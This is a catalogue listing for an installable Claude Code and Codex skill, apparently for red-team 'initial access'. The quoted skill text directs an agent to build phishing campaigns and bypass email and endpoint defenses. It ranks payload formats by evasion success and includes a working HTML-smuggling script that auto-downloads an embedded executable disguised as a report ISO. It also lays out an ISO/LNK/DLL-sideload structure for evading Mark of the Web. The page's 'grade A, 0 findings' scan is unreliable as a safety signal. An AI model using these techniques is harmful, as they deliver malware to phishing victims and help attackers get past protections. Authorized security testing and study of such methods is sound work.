initial-access

A collection of methods for gaining an initial foothold in a computer system, including phishing, malicious file delivery, and exploiting exposed services.

In plain words
What is it for?
Red-team exercises, phishing simulations, payload-delivery research, and testing publicly reachable services.
Why use it?
It helps authorized security testers examine how attackers might get past email, endpoint, and other entry-point defenses.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/jessefmoore/offensive-claude-code/initial-access
Any agent
npx skills add jessefmoore/offensive-claude-code --skill initial-access
Clone the repo
git clone --depth 1 https://github.com/jessefmoore/offensive-claude-code

Made for: Claude Code, Codex.

Per session 32 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,478 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin 92% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00032 $0.01478
Opus 5 $0.00016 $0.00739
Sonnet 5 $0.00006 $0.00296
Haiku 4.5 $0.00003 $0.00148

Measured yesterday against content hash b10a51b8fb1e, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

initial-access scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

92% identical to initial-access — 185 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/initial-access/SKILL.md · 181 lines

How it starts

The opening of the file, as written. The whole thing — 181 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Initial Access

When to Activate

  • Planning initial access phase of red team engagement
  • Developing phishing campaigns and payload delivery
  • Bypassing email gateways and endpoint protection
  • Exploiting exposed services for initial foothold

Attack Vectors

Email-Based (Phishing)

Payload Delivery Formats (bypass probability):

  • .exe — almost always blocked
  • .iso/.img — bypasses MOTW (Mark of the Web) on older Windows
  • .html (smuggling) — high success rate
  • .pdf with embedded JS — moderate
  • .one (OneNote) — effective until patched
  • .lnk + DLL sideload — high success in ISO container
  • .pptm/.ppsm/.accde — often not covered by default protection

Domain Preparation:

  • Domain age > 2 weeks (warm up with legitimate emails first)
  • Use HTTPS with valid certificate
  • Category: business/technology (not "newly registered")
  • SPF, DKIM, DMARC properly configured
  • Send legitimate emails first to build reputation

HTML Smuggling

<!-- Construct binary blob in JavaScript, trigger download -->
<html>
<body>
<script>
function smuggle() {
    var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PE
    var blob = new Blob([new Uint8Array([...bin].map(c=>c.charCodeAt(0)))], 
                        {type: 'application/octet-stream'});
    var url = URL.createObjectURL(blob);
    var a = document.createElement('a');
    a.href = url;
    a.download = 'Report_Q4_2026.iso';
    a.click();
}
smuggle();
</script>
<p>Loading document...</p>
</body>
</html>

ISO/IMG Container (MOTW Bypass)

# Structure inside ISO:
├── Report.lnk          # Shortcut that executes the DLL
├── legitimate.exe      # Signed binary vulnerable to DLL sideload
└── payload.dll         # Malicious DLL loaded by legitimate.exe

# LNK target: legitimate.exe (which loads payload.dll from same directory)
# Files inside ISO don't inherit MOTW → bypass SmartScreen

Note: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.

Read the full file on GitHub · 181 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. yesterday First seen · 181 lines · 32 tokens per session scan A b10a51b8fb1e

Subscribe to this mod's changes

initial-access is a skill published in the GitHub repository jessefmoore/offensive-claude-code (2 stars, last pushed 3mo ago), licensed MIT. It adds 32 tokens to every session and 1,478 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 92% identical to initial-access, differing in 185 lines, and is treated as a copy.

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